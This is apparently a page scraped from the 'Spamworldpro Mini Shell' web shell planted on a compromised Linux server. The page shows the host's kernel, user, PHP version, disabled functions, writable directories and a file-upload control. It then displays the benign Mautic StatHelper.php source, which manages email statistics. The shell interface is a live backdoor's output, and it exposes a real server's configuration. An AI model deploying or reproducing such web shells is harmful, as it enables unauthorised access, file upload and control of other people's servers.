Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/mautic.corals.io/app/bundles/EmailBundle/Stat/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/mautic.corals.io/app/bundles/EmailBundle/Stat/StatHelper.php
<?php

namespace Mautic\EmailBundle\Stat;

use Mautic\EmailBundle\Entity\Stat;
use Mautic\EmailBundle\Model\EmailStatModel;
use Mautic\EmailBundle\Stat\Exception\StatNotFoundException;

class StatHelper
{
    /**
     * Just store email ID and lead ID to avoid doctrine RAM issues with entities.
     *
     * @var Reference[]
     */
    private $stats = [];

    /**
     * @var array
     */
    private $deleteUs = [];

    public function __construct(
        private EmailStatModel $emailStatModel
    ) {
    }

    public function storeStat(Stat $stat, $emailAddress): void
    {
        $this->emailStatModel->saveEntity($stat);

        // to avoid Doctrine RAM issues, we're just going to hold onto ID references
        $this->stats[$emailAddress] = new Reference($stat);

        // clear stat from doctrine memory
        $this->emailStatModel->getRepository()->detachEntity($stat);
    }

    public function deletePending(): void
    {
        if (count($this->deleteUs)) {
            $this->emailStatModel->getRepository()->deleteStats($this->deleteUs);
        }
    }

    public function markForDeletion(Reference $stat): void
    {
        $this->deleteUs[] = $stat->getStatId();
    }

    /**
     * @return Reference
     *
     * @throws StatNotFoundException
     */
    public function getStat($emailAddress)
    {
        if (!isset($this->stats[$emailAddress])) {
            throw new StatNotFoundException();
        }

        return $this->stats[$emailAddress];
    }

    public function reset(): void
    {
        $this->deleteUs = [];
        $this->stats    = [];
    }
}

Spamworldpro Mini